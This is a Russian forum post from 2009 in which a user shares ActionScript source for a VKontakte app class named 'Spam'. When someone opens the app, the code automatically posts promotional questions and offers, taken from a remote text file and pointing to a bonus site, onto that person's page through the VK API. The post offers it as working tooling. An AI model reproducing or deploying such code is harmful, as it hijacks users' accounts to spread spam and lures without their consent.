Показать сообщение отдельно

  #3  
Старый 04.12.2009, 23:16
waik
Участник форума
Регистрация: 02.11.2008
Сообщений: 222
Провел на форуме:
3459722

Репутация: 155
По умолчанию

Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник.
Код:
package 
{
    import flash.events.*;
    import flash.net.*;

    public class Spam extends Object
    {
        private var questionType:String = "0";
        var _api_id:String;
        var vars1:URLVariables;
        var vars2:URLVariables;
        var sig:String;
        var loader:URLLoader;
        var conf:String;
        var req:URLRequest;
        var res:String;
        var _viewer_id:String;
        var vars:URLVariables;
        var url:String = "http://api.vkontakte.ru/api.php";
        private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
        var cont:Array;
        private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
        var secret:String = "ololo";
        var signature:String;
        var loader2:URLLoader;

        public function Spam(param1:String, param2:String)
        {
            secret = "ololo";
            url = "http://api.vkontakte.ru/api.php";
            offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru";
            questionType = "0";
            loader = new URLLoader();
            loader2 = new URLLoader();
            vars = new URLVariables();
            vars1 = new URLVariables();
            vars2 = new URLVariables();
            req = new URLRequest(url);
            _api_id = param1;
            _viewer_id = param2;
            loader2.addEventListener(Event.COMPLETE, onConf);
            loader2.load(new URLRequest("http://сайт.ru/conf.txt"));
            return;
        }// end function

        public function openOffer()
        {
            sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars1.api_id = _api_id;
            vars1.method = "offers.open";
            vars1.test_mode = "0";
            vars1.v = "2.0";
            vars1.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars1;
            try
            {
                sendToURL(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

        public function onOfferComplete(param1:Event)
        {
            openOffer();
            return;
        }// end function

        public function newOffer()
        {
            sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars2.api_id = _api_id;
            vars2.method = "offers.edit";
            vars2.message = offerText;
            vars2.test_mode = "0";
            vars2.v = "2.0";
            vars2.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars2;
            loader.addEventListener(Event.COMPLETE, onOfferComplete);
            try
            {
                loader.load(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

        public function onConf(param1:Event)
        {
            res = param1.target.data.toString();
            cont = res.split("\n");
            offerText = cont[0];
            questionText = cont[1];
            questionType = cont[2];
            trace(offerText);
            return;
        }// end function

        public function newQuestion()
        {
            sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret;
            signature = MD5.encrypt(sig);
            vars.api_id = _api_id;
            vars.method = "questions.add";
            vars.text = questionText;
            vars.type = questionType;
            vars.test_mode = "0";
            vars.v = "2.0";
            vars.sig = signature;
            req.method = URLRequestMethod.POST;
            req.data = vars;
            try
            {
                sendToURL(req);
            }// end try
            catch (e:Error)
            {
                trace(e.message);
            }// end catch
            return;
        }// end function

    }
}
 
Ответить с цитированием